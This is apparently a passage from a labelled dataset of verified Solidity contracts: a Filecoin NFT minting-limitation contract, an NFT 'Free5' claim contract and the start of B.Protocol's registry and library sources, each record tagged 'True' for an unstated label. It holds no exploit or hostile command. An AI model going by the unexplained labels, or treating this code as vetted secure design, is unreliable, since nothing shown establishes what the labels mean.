function decreaseMinerLimitation(string memory _minerId, uint256 _minerLimitationDelta) external;
}
contract MiningNFTMintingLimitationBase is Ownable{
using SafeMath for uint256;
IMinerManage public minerManage;
IFilChainStatOracle public filChainStatOracle;
IMiningNFTMintingLimitationData public limitationData;
uint256 public mintAmountLimitationRatio = 200; // one-thousandth
uint constant public RATIO_DENOMINATOR = 1000;
event FilChainStatOracleChanged(address originalOracle, address newOracle);
event LimitationRatioChanged(uint256 originalValue, uint256 newValue);
event MiningNFTMintingLimitationDataChanged(address originalDataContract, address newDataContract);
event MinerManageChanged(address originalMinerManage, address newMinerManage);
constructor(IMinerManage _minerManage,IFilChainStatOracle _filChainStatOracle, IMiningNFTMintingLimitationData _limitationData){
minerManage = _minerManage;
filChainStatOracle = _filChainStatOracle;
limitationData = _limitationData;
}
function setMinerManage(IMinerManage _minerManage) public onlyOwner{
require(address(_minerManage)!=address(0), "address should not be 0");
address original = address(minerManage);
minerManage = _minerManage;
emit MinerManageChanged(original, address(_minerManage));
}
function getTotalLimitationCap() public view returns(uint256){
return filChainStatOracle.minerTotalAdjustedPower().mul(mintAmountLimitationRatio).div(RATIO_DENOMINATOR);
}
function getMinerLimitationCap(string memory minerId) public view returns(uint256){
return filChainStatOracle.minerAdjustedPower(minerId).mul(mintAmountLimitationRatio).div(RATIO_DENOMINATOR);
}
function setFilChainStatOracle(IFilChainStatOracle _filChainStatOracle) public onlyOwner{
require(address(_filChainStatOracle)!=address(0), "address should not be 0");
address originalOracle = address(filChainStatOracle);
filChainStatOracle = _filChainStatOracle;
emit FilChainStatOracleChanged(originalOracle, address(_filChainStatOracle));
}
function setLimitationRatio(uint256 _mintAmountLimitationRatio) public onlyOwner{
require(_mintAmountLimitationRatio > 0, "value should be > 0");
uint256 originalValue = mintAmountLimitationRatio;
mintAmountLimitationRatio = _mintAmountLimitationRatio;
emit LimitationRatioChanged(originalValue, _mintAmountLimitationRatio);
}
function setMiningNFTMintingLimitationData(IMiningNFTMintingLimitationData _limitationData) public onlyOwner{
require(address(_limitationData)!=address(0), "address should not be 0");
address original = address(limitationData);
limitationData = _limitationData;
emit MiningNFTMintingLimitationDataChanged(original, address(_limitationData));
}
}
contract Poster is Ownable{
address public poster;
event PosterChanged(address originalPoster, address newPoster);
modifier onlyPoster(){
require(poster == _msgSender(), "not poster");
_;
}
function setPoster(address _poster) public onlyOwner{
require(_poster != address(0), "address should not be 0");
emit PosterChanged(poster, _poster);
poster = _poster;
}
}
contract MiningNFTMintingLimitation is Poster,MiningNFTMintingLimitationBase{
using SafeMath for uint256;
constructor(IMinerManage _minerManage, IFilChainStatOracle _filChainStatOracle, IMiningNFTMintingLimitationData _limitationData) MiningNFTMintingLimitationBase(_minerManage, _filChainStatOracle, _limitationData){
}
function increaseLimitation(uint256 _limitationDelta) public onlyPoster{
require(limitationData.totalMintLimitationInTiB().add(_limitationDelta) <= getTotalLimitationCap(), "limitaion exceed hardcap");
string[] memory minerList = minerManage.getMinerList();
uint256 totalAdjustedPower = filChainStatOracle.minerTotalAdjustedPower();
for(uint i=0; i<minerList.length; i++){
string memory minerId = minerList[i];
increaseMinerLimitation(minerId, _limitationDelta, totalAdjustedPower);
}
}
function increaseLimitationBatch(string[] memory _minerList, uint256 _limitationDelta) public onlyPoster{
require(limitationData.totalMintLimitationInTiB().add(_limitationDelta) <= getTotalLimitationCap(), "limitaion exceed hardcap");
uint256 totalAdjustedPower = getTotalAdjustedPower(_minerList);
for(uint i=0; i<_minerList.length; i++){
string memory minerId = _minerList[i];
increaseMinerLimitation(minerId, _limitationDelta, totalAdjustedPower);
}
}
function increaseMinerLimitation(string memory _minerId, uint256 _limitationDelta, uint256 totalAdjustedPower) internal {
uint256 minerAdjustedPower = filChainStatOracle.minerAdjustedPower(_minerId);
uint256 minerLimitationHardCap = minerAdjustedPower.mul(mintAmountLimitationRatio).div(RATIO_DENOMINATOR);
uint256 minerLimitationDelta = minerAdjustedPower.mul(_limitationDelta).div(totalAdjustedPower);
uint256 minerLimitationPrev = limitationData.minerMintAmountLimitation(_minerId);
if(minerLimitationPrev.add(minerLimitationDelta) > minerLimitationHardCap){
minerLimitationDelta = minerLimitationHardCap.sub(minerLimitationPrev);
}
limitationData.increaseMinerLimitation(_minerId, minerLimitationDelta);
}
function decreaseLimitation(uint256 _limitationDelta) public onlyPoster{
string[] memory minerList = minerManage.getMinerList();
uint256 totalAdjustedPower = filChainStatOracle.minerTotalAdjustedPower();
for(uint i=0; i<minerList.length; i++){
string memory minerId = minerList[i];
decreaseMinerLimitation(minerId, _limitationDelta, totalAdjustedPower);
}
}
function decreaseLimitationBatch(string[] memory _minerList, uint256 _limitationDelta) public onlyPoster{
uint256 totalAdjustedPower = getTotalAdjustedPower(_minerList);
for(uint i=0; i<_minerList.length; i++){
string memory minerId = _minerList[i];
decreaseMinerLimitation(minerId, _limitationDelta, totalAdjustedPower);
}
}
function decreaseMinerLimitation(string memory _minerId, uint256 _limitationDelta, uint256 totalAdjustedPower) internal{
uint256 minerAdjustedPower = filChainStatOracle.minerAdjustedPower(_minerId);
uint256 minerLimitationDelta = minerAdjustedPower.mul(_limitationDelta).div(totalAdjustedPower);
limitationData.decreaseMinerLimitation(_minerId, minerLimitationDelta);
}
function getTotalAdjustedPower(string[] memory _minerList) internal view returns(uint256 totalAdjustedPower){
for(uint i=0; i<_minerList.length; i++){
string memory minerId = _minerList[i];
uint256 minerAdjustedPower = filChainStatOracle.minerAdjustedPower(minerId);
totalAdjustedPower = totalAdjustedPower.add(minerAdjustedPower);
}
}
function checkLimitation(string memory _minerId, uint256 _minerTotalMinted, uint256 _allMinersTotalMinted) public view returns(bool, string memory){
if(_minerTotalMinted > limitationData.minerMintAmountLimitation(_minerId)){
return (false, "mint amount exceed miner limitation");
}
if(_allMinersTotalMinted > limitationData.totalMintLimitationInTiB()){
return (false, "exceed platform total mint limitation");
}
return (true, "");
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2022-01-01
*/
// SPDX-License-Identifier: CC0
/*
/$$$$$$$$ /$$$$$$$ /$$$$$$$$ /$$$$$$$$ /$$$$$$$
| $$_____/| $$__ $$| $$_____/| $$_____/ | $$____/
| $$ | $$ \ $$| $$ | $$ | $$
| $$$$$ | $$$$$$$/| $$$$$ | $$$$$ | $$$$$$$
| $$__/ | $$__ $$| $$__/ | $$__/ |_____ $$
| $$ | $$ \ $$| $$ | $$ /$$ \ $$
| $$ | $$ | $$| $$$$$$$$| $$$$$$$$ | $$$$$$/
|__/ |__/ |__/|________/|________/ \______/
/$$
| $$
| $$$$$$$ /$$ /$$
| $$__ $$| $$ | $$
| $$ \ $$| $$ | $$
| $$ | $$| $$ | $$
| $$$$$$$/| $$$$$$$
|_______/ \____ $$
/$$ | $$
| $$$$$$/
\______/
/$$$$$$ /$$$$$$$$ /$$$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$$ /$$$$$$$
/$$__ $$|__ $$__/| $$_____/| $$ | $$|_ $$_/| $$_____/| $$__ $$
| $$ \__/ | $$ | $$ | $$ | $$ | $$ | $$ | $$ \ $$
| $$$$$$ | $$ | $$$$$ | $$ / $$/ | $$ | $$$$$ | $$$$$$$/
\____ $$ | $$ | $$__/ \ $$ $$/ | $$ | $$__/ | $$____/
/$$ \ $$ | $$ | $$ \ $$$/ | $$ | $$ | $$
| $$$$$$/ | $$ | $$$$$$$$ \ $/ /$$$$$$| $$$$$$$$| $$
\______/ |__/ |________/ \_/ |______/|________/|__/
CC0 2021
*/
pragma solidity ^0.8.11;
interface IFree {
function mint(uint256 collectionId, address to) external;
function ownerOf(uint256 tokenId) external returns (address owner);
function tokenIdToCollectionId(uint256 tokenId) external returns (uint256 collectionId);
function appendAttributeToToken(uint256 tokenId, string memory attrKey, string memory attrValue) external;
}
interface IArtBlocks {
function tokenIdToProjectId(uint256 tokenId) external returns (uint256 projectId);
function ownerOf(uint256 tokenId) external returns (address owner);
}
contract Free5 {
IFree public immutable free;
IArtBlocks public immutable artBlocks;
mapping(uint256 => bool) public free0tokenIdUsed;
mapping(uint256 => bool) public cgkTokenIdUsed;
mapping(uint256 => bool) public isidTokenIdUsed;
mapping(uint256 => bool) public fimTokenIdUsed;
constructor(address freeAddr, address abAddr) {
free = IFree(freeAddr);
artBlocks = IArtBlocks(abAddr);
}
function claim(uint256 free0TokenId, uint256 cgkTokenId, uint256 isidTokenId, uint256 fimTokenId) public {
require(free.tokenIdToCollectionId(free0TokenId) == 0, 'Invalid Free0');
require(!free0tokenIdUsed[free0TokenId], 'This Free0 has already been used to mint a Free5');
require(free.ownerOf(free0TokenId) == msg.sender, 'You must be the owner of this Free0');
require(artBlocks.tokenIdToProjectId(cgkTokenId) == 44, 'Invalid CGK');
require(!cgkTokenIdUsed[cgkTokenId], 'This CGK has already been used to mint a Free5');
require(artBlocks.ownerOf(cgkTokenId) == msg.sender, 'You must be the owner of this CGK');
require(artBlocks.tokenIdToProjectId(isidTokenId) == 102, 'Invalid ISID');
require(!isidTokenIdUsed[isidTokenId], 'This ISID has already been used to mint a Free5');
require(artBlocks.ownerOf(isidTokenId) == msg.sender, 'You must be the owner of this ISID');
require(artBlocks.tokenIdToProjectId(fimTokenId) == 152, 'Invalid FIM');
require(!fimTokenIdUsed[fimTokenId], 'This FIM has already been used to mint a Free5');
require(artBlocks.ownerOf(fimTokenId) == msg.sender, 'You must be the owner of this FIM');
free0tokenIdUsed[free0TokenId] = true;
cgkTokenIdUsed[cgkTokenId] = true;
isidTokenIdUsed[isidTokenId] = true;
fimTokenIdUsed[fimTokenId] = true;
free.appendAttributeToToken(free0TokenId, 'Used For Free5 Mint', 'true');
free.mint(5, msg.sender);
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-07-25
*/
/*
B.PROTOCOL TERMS OF USE
=======================
THE TERMS OF USE CONTAINED HEREIN (THESE “TERMS”) GOVERN YOUR USE OF B.PROTOCOL, WHICH IS A DECENTRALIZED PROTOCOL ON THE ETHEREUM BLOCKCHAIN (the “PROTOCOL”) THAT enables a backstop liquidity mechanism FOR DECENTRALIZED LENDING PLATFORMS (“DLPs”).
PLEASE READ THESE TERMS CAREFULLY AT https://github.com/backstop-protocol/Terms-and-Conditions, INCLUDING ALL DISCLAIMERS AND RISK FACTORS, BEFORE USING THE PROTOCOL. BY USING THE PROTOCOL, YOU ARE IRREVOCABLY CONSENTING TO BE BOUND BY THESE TERMS.
IF YOU DO NOT AGREE TO ALL OF THESE TERMS, DO NOT USE THE PROTOCOL. YOUR RIGHT TO USE THE PROTOCOL IS SUBJECT AND DEPENDENT BY YOUR AGREEMENT TO ALL TERMS AND CONDITIONS SET FORTH HEREIN, WHICH AGREEMENT SHALL BE EVIDENCED BY YOUR USE OF THE PROTOCOL.
Minors Prohibited: The Protocol is not directed to individuals under the age of eighteen (18) or the age of majority in your jurisdiction if the age of majority is greater. If you are under the age of eighteen or the age of majority (if greater), you are not authorized to access or use the Protocol. By using the Protocol, you represent and warrant that you are above such age.
License; No Warranties; Limitation of Liability;
(a) The software underlying the Protocol is licensed for use in accordance with the 3-clause BSD License, which can be accessed here: https://opensource.org/licenses/BSD-3-Clause.
(b) THE PROTOCOL IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", “WITH ALL FAULTS” and “AS AVAILABLE” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
(c) IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
// Sources flattened with hardhat v2.5.0 https://hardhat.org
// File @openzeppelin/contracts/GSN/[email protected]
pragma solidity ^0.5.0;
pragma experimental ABIEncoderV2;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/ownership/[email protected]
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File contracts/bprotocol/proxy/GnosisSafeProxy.sol
pragma solidity >=0.5.0 <0.7.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// masterCopy always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal masterCopy;
/// @dev Constructor function sets address of master copy contract.
/// @param _masterCopy Master copy address.
constructor(address _masterCopy)
public
{
require(_masterCopy != address(0), "Invalid master copy address provided");
masterCopy = _masterCopy;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
function ()
external
payable
{
// solium-disable-next-line security/no-inline-assembly
assembly {
let masterCopy := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, masterCopy)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas, masterCopy, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) { revert(0, returndatasize()) }
return(0, returndatasize())
}
}
}
// File contracts/bprotocol/interfaces/IAvatar.sol
pragma solidity 0.5.16;
contract IERC20Avatar {
function transfer(address cToken, address dst, uint256 amount) external returns (bool);
function transferFrom(address cToken, address src, address dst, uint256 amount) external returns (bool);
function approve(address cToken, address spender, uint256 amount) public returns (bool);
}
contract IAvatar is IERC20Avatar {
function initialize(address _registry, address comp, address compVoter) external;
function quit() external returns (bool);
function canUntop() public returns (bool);
function toppedUpCToken() external returns (address);
function toppedUpAmount() external returns (uint256);
function redeem(address cToken, uint256 redeemTokens, address payable userOrDelegatee) external returns (uint256);
function redeemUnderlying(address cToken, uint256 redeemAmount, address payable userOrDelegatee) external returns (uint256);
function borrow(address cToken, uint256 borrowAmount, address payable userOrDelegatee) external returns (uint256);
function borrowBalanceCurrent(address cToken) external returns (uint256);
function collectCToken(address cToken, address from, uint256 cTokenAmt) public;
function liquidateBorrow(uint repayAmount, address cTokenCollateral) external payable returns (uint256);
// Comptroller functions
function enterMarket(address cToken) external returns (uint256);
function enterMarkets(address[] calldata cTokens) external returns (uint256[] memory);
function exitMarket(address cToken) external returns (uint256);
function claimComp() external;
function claimComp(address[] calldata bTokens) external;
function claimComp(address[] calldata bTokens, bool borrowers, bool suppliers) external;
function getAccountLiquidity() external view returns (uint err, uint liquidity, uint shortFall);
}
// Workaround for issue https://github.com/ethereum/solidity/issues/526
// CEther
contract IAvatarCEther is IAvatar {
function mint() external payable;
function repayBorrow() external payable;
function repayBorrowBehalf(address borrower) external payable;
}
// CErc20
contract IAvatarCErc20 is IAvatar {
function mint(address cToken, uint256 mintAmount) external returns (uint256);
function repayBorrow(address cToken, uint256 repayAmount) external returns (uint256);
function repayBorrowBehalf(address cToken, address borrower, uint256 repayAmount) external returns (uint256);
}
contract ICushion {
function liquidateBorrow(uint256 underlyingAmtToLiquidate, uint256 amtToDeductFromTopup, address cTokenCollateral) external payable returns (uint256);
function canLiquidate() external returns (bool);
function untop(uint amount) external;
function toppedUpAmount() external returns (uint);
function remainingLiquidationAmount() external returns(uint);
function getMaxLiquidationAmount(address debtCToken) public returns (uint256);
}
contract ICushionCErc20 is ICushion {
function topup(address cToken, uint256 topupAmount) external;
}
contract ICushionCEther is ICushion {
function topup() external payable;
}
// File contracts/bprotocol/Registry.sol
pragma solidity 0.5.16;
/**
* @dev Registry contract to maintain Compound, BProtocol and avatar address.
*/
contract Registry is Ownable {
// Compound Contracts
address public comptroller;
address public comp;
address public cEther;
// BProtocol Contracts
address public pool;
address public score;
address public compVoter; // this will not be used
address public bComptroller;
// Avatar
address public avatarImpl;
// Owner => Avatar
mapping (address => address) public avatarOf;
// Avatar => Owner
mapping (address => address) public ownerOf;
address[] public avatars;
// An Avatar can have multiple Delegatee
// Avatar => Delegatee => bool
mapping (address => mapping(address => bool)) public delegate;
// dummy caller, for safer delegate and execute
DummyCaller public dummyCaller;
// (target, 4 bytes) => boolean. For each target address and function call, can avatar call it?
// this is to support upgradable features in compound
// calls that allow user to change collateral and debt size, and enter/exit market should not be listed
mapping (address => mapping(bytes4 => bool)) public whitelistedAvatarCalls;
event NewAvatar(address indexed avatar, address owner);
event Delegate(address indexed delegator, address avatar, address delegatee);
event RevokeDelegate(address indexed delegator, address avatar, address delegatee);
event NewPool(address oldPool, address newPool);
event NewScore(address oldScore, address newScore);
event AvatarCallWhitelisted(address target, bytes4 functionSig, bool whitelist);
constructor(
address _comptroller,
address _comp,
address _cEther,
address _pool,
address _bComptroller,
address _compVoter,
address _avatarImpl
)
public
{
comptroller = _comptroller;
comp = _comp;
cEther = _cEther;
pool = _pool;
bComptroller = _bComptroller;
compVoter = _compVoter;
avatarImpl = _avatarImpl;
dummyCaller = new DummyCaller();
}
function setPool(address newPool) external onlyOwner {
require(newPool != address(0), "Registry: pool-address-is-zero");
address oldPool = pool;
pool = newPool;
emit NewPool(oldPool, newPool);
}
function setScore(address newScore) external onlyOwner {
require(newScore != address(0), "Registry: score-address-is-zero");
address oldScore = score;
score = newScore;
emit NewScore(oldScore, newScore);
}
function setWhitelistAvatarCall(address target, bytes4 functionSig, bool list) external onlyOwner {
whitelistedAvatarCalls[target][functionSig] = list;
emit AvatarCallWhitelisted(target, functionSig, list);
}
function newAvatar() external returns (address) {
return _newAvatar(msg.sender);
}
function getAvatar(address _owner) public returns (address) {
require(_owner != address(0), "Registry: owner-address-is-zero");
address _avatar = avatarOf[_owner];
if(_avatar == address(0)) {
_avatar = _newAvatar(_owner);
}
return _avatar;
}
function delegateAvatar(address delegatee) public {
require(delegatee != address(0), "Registry: delegatee-address-is-zero");
address _avatar = avatarOf[msg.sender];
require(_avatar != address(0), "Registry: avatar-not-found");
delegate[_avatar][delegatee] = true;
emit Delegate(msg.sender, _avatar, delegatee);
}
function revokeDelegateAvatar(address delegatee) public {
address _avatar = avatarOf[msg.sender];
require(_avatar != address(0), "Registry: avatar-not-found");
require(delegate[_avatar][delegatee], "Registry: not-delegated");
delegate[_avatar][delegatee] = false;
emit RevokeDelegate(msg.sender, _avatar, delegatee);
}
function delegateAndExecuteOnce(address delegatee, address payable target, bytes calldata data) external payable {
// make sure there is an avatar
getAvatar(msg.sender);
delegateAvatar(delegatee);
dummyCaller.execute.value(msg.value)(target, data);
revokeDelegateAvatar(delegatee);
}
function _newAvatar(address _owner) internal returns (address) {
require(avatarOf[_owner] == address(0), "Registry: avatar-exits-for-owner");
// _owner should not be an avatar address
require(ownerOf[_owner] == address(0), "Registry: cannot-create-an-avatar-of-avatar");
// Deploy GnosisSafeProxy with the Avatar contract as logic contract
address _avatar = _deployAvatarProxy(_owner);
// Initialize Avatar
IAvatar(_avatar).initialize(address(this), comp, compVoter);
avatarOf[_owner] = _avatar;
ownerOf[_avatar] = _owner;
avatars.push(_avatar);
emit NewAvatar(_avatar, _owner);
return _avatar;
}
function _deployAvatarProxy(address _owner) internal returns (address proxy) {
bytes32 salt = keccak256(abi.encodePacked(_owner));
bytes memory proxyCode = type(GnosisSafeProxy).creationCode;
bytes memory deploymentData = abi.encodePacked(proxyCode, uint256(avatarImpl));
assembly {
proxy := create2(0, add(deploymentData, 0x20), mload(deploymentData), salt)
if iszero(extcodesize(proxy)) { revert(0, 0) }
}
}
function avatarLength() external view returns (uint256) {
return avatars.length;
}
function avatarList() external view returns (address[] memory) {
return avatars;
}
function doesAvatarExist(address _avatar) public view returns (bool) {
return ownerOf[_avatar] != address(0);
}
function doesAvatarExistFor(address _owner) public view returns (bool) {
return avatarOf[_owner] != address(0);
}
}
contract DummyCaller {
function execute(address target, bytes calldata data) external payable {
(bool succ, bytes memory err) = target.call.value(msg.value)(data);
require(succ, string(err));
}
}
// File contracts/bprotocol/interfaces/IRegistry.sol
pragma solidity 0.5.16;
interface IRegistry {
// Ownable
function transferOwnership(address newOwner) external;
// Compound contracts
function comp() external view returns (address);
function comptroller() external view returns (address);
function cEther() external view returns (address);
// B.Protocol contracts
function bComptroller() external view returns (address);
function score() external view returns (address);
function pool() external view returns (address);
// Avatar functions
function delegate(address avatar, address delegatee) external view returns (bool);
function doesAvatarExist(address avatar) external view returns (bool);
function doesAvatarExistFor(address owner) external view returns (bool);
function ownerOf(address avatar) external view returns (address);
function avatarOf(address owner) external view returns (address);
function newAvatar() external returns (address);
function getAvatar(address owner) external returns (address);
// avatar whitelisted calls
function whitelistedAvatarCalls(address target, bytes4 functionSig) external view returns(bool);
function setPool(address newPool) external;
function setScore(address newScore) external;
function setWhitelistAvatarCall(address target, bytes4 functionSig, bool list) external;
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/bprotocol/interfaces/CTokenInterfaces.sol
pragma solidity 0.5.16;
contract CTokenInterface {
/* ERC20 */
function transfer(address dst, uint amount) external returns (bool);
function transferFrom(address src, address dst, uint amount) external returns (bool);
function approve(address spender, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function totalSupply() external view returns (uint256);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
/* User Interface */
function isCToken() external view returns (bool);
function underlying() external view returns (IERC20);
function balanceOfUnderlying(address owner) external returns (uint);
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint);
function borrowRatePerBlock() external view returns (uint);
function supplyRatePerBlock() external view returns (uint);
function totalBorrowsCurrent() external returns (uint);
function borrowBalanceCurrent(address account) external returns (uint);
function borrowBalanceStored(address account) public view returns (uint);
function exchangeRateCurrent() public returns (uint);
function exchangeRateStored() public view returns (uint);
function getCash() external view returns (uint);
function accrueInterest() public returns (uint);
function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint);
}
contract ICToken is CTokenInterface {
/* User Interface */
function redeem(uint redeemTokens) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
}
// Workaround for issue https://github.com/ethereum/solidity/issues/526
// Defined separate contract as `mint()` override with `.value()` has issues
contract ICErc20 is ICToken {
function mint(uint mintAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint);
function liquidateBorrow(address borrower, uint repayAmount, address cTokenCollateral) external returns (uint);
}
contract ICEther is ICToken {
function mint() external payable;
function repayBorrow() external payable;
function repayBorrowBehalf(address borrower) external payable;
function liquidateBorrow(address borrower, address cTokenCollateral) external payable;
}
contract IPriceOracle {
/**
* @notice Get the underlying price of a cToken asset
* @param cToken The cToken to get the underlying price of
* @return The underlying asset price mantissa (scaled by 1e18).
* Zero means the price is unavailable.
*/
function getUnderlyingPrice(CTokenInterface cToken) external view returns (uint);
}
// File contracts/bprotocol/lib/CarefulMath.sol
pragma solidity 0.5.16;
/**
* @title Careful Math
* @author Compound
* @notice COPY TAKEN FROM COMPOUND FINANCE
* @notice Derived from OpenZeppelin's SafeMath library
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract CarefulMath {
/**
* @dev Possible error codes that we can return
*/
enum MathError {
NO_ERROR,
DIVISION_BY_ZERO,
INTEGER_OVERFLOW,
INTEGER_UNDERFLOW
}
/**
* @dev Multiplies two numbers, returns an error on overflow.
*/
function mulUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (a == 0) {
return (MathError.NO_ERROR, 0);
}
uint c = a * b;
if (c / a != b) {
return (MathError.INTEGER_OVERFLOW, 0);
} else {
return (MathError.NO_ERROR, c);
}
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function divUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b == 0) {
return (MathError.DIVISION_BY_ZERO, 0);
}
return (MathError.NO_ERROR, a / b);
}
/**
* @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend).
*/
function subUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b <= a) {
return (MathError.NO_ERROR, a - b);
} else {
return (MathError.INTEGER_UNDERFLOW, 0);
}
}
/**
* @dev Adds two numbers, returns an error on overflow.
*/
function addUInt(uint a, uint b) internal pure returns (MathError, uint) {
uint c = a + b;
if (c >= a) {
return (MathError.NO_ERROR, c);
} else {
return (MathError.INTEGER_OVERFLOW, 0);
}
}
/**
* @dev add a and b and then subtract c
*/
function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) {
(MathError err0, uint sum) = addUInt(a, b);
if (err0 != MathError.NO_ERROR) {
return (err0, 0);
}
return subUInt(sum, c);
}
}
// File contracts/bprotocol/lib/Exponential.sol
pragma solidity 0.5.16;
/**
* @title Exponential module for storing fixed-precision decimals
* @author Compound
* @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.
* Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:
* `Exp({mantissa: 5100000000000000000})`.
*/
